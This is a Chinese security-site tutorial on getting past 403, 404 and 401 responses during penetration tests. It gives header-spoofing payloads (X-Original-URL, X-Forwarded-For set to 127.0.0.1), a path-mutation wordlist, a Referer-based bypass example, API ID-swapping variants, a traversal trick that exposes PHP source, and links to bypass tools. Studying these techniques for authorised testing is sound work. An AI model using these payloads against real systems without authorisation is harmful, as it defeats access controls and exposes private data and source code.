freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

干活|# 渗透测试中如何利用40x
2023-03-08 21:18:02
所属地 上海

0x00 前言

我们在做渗透测试时经常会碰到40x的资产。有一些40x的页面是可以绕过的,下面将介绍一些方法。

403

利用端口

扫描主机端口,寻找其他开放的端口然后路径扫描。

HOST碰撞

可以参考我之前的文章 https://www.freebuf.com/articles/web/341893.html

覆盖请求URL

尝试使用X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URLX-Rewrite-URL标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

X-Original-URL: /auth/login
X-Rewrite-URL: /auth/login

Referer绕过

尝试使用Referer标头绕过Web服务器的限制。
介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。

Referer:https://xxx/auth/login

原请求

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden

修改

Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

代理IP

一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-ForX-Forwared-Host等标头绕过Web服务器的限制。

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

403或302字典绕过

替换{replace}的值为需要绕过的路径

/{replace}
/{replace}/
/{replace}//
//{replace}//
/{replace}/*
/{replace}/*/
/{replace}/.
/{replace}/./
/./{replace}/./
/{replace}/./.
/{replace}/./.
/{replace}?
/{replace}??
/{replace}???
/{replace}..;/
/{replace}/..;/
/%2f/{replace}
/%2e/{replace}
/{replace}%20/
/{replace}%09/
/%20{replace}%20/
/{replace}%20/page

继续扫

遇到403红藕,将403的路径作为前缀继续扫描路径

bypass 403的脚本

https://github.com/sting8k/BurpSuite_403Bypasser
https://github.com/yunemse48/403bypasser
https://github.com/devploit/dontgo403
https://github.com/daffainfo/bypass-403

403bypass的wiki

https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass

替换大小写

比如

  • https://redacted.com/admin -> 403 Forbidden

  • https://redacted.com/Admin -> 200 OK

  • https://redacted.com/aDmin -> 200 OK

403 bypass工具

https://github.com/lobuhi/byp4xx
https://github.com/iamj0ker/bypass-403
https://github.com/gotr00t0day/forbiddenpass
https://github.com/m4dm0e/dirdar

403 API接口方法

案例

GET /api/v1/user/id 403

/api/v1/user/id.json
/api/v1/user/id?
/api/v1/user/id/
/api/v2/user/id
/api/v1/user/id&accountdetail
/api/v1/user/yourid&victimid
X-Original-URL: /api/v1/user/id/

404

比如:

http://example[.]com/index.php -> File not found
http://example[.].com/assets../index.php -> source code

字典:

/index.php
/assets../index.php
/img../index.php
/js../index.php
/vendors../index.php
/media../index.php

也可以将index.php替换为你需要的路径

401相关测试思路

1.文件枚举

2.通过搜索引擎来发现更多信息

3.在github上面搜索类似的域名

4.通过Wayback来搜索查找

5.改变HTTP的方法(get/post/put/delete/patch/...)

6.对cookies,参数,header,hosts,目录进行模糊测试

参考链接

https://mp.weixin.qq.com/s/hfrdpsmUhVpXV96HufaxSg

https://mp.weixin.qq.com/s/1zsvQj2rvQKlZzh7L_Thyg

https://mp.weixin.qq.com/s/s64aww-fsmZ2I7nezdbT_A

https://mp.weixin.qq.com/s/oVvMtTh2w-4HgOUJtZTqaw

https://mp.weixin.qq.com/s/OnIeM8DVkZ_F27LGadPzRg

# 渗透测试 # 网络安全 # web安全 # CTF # 403bypass
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录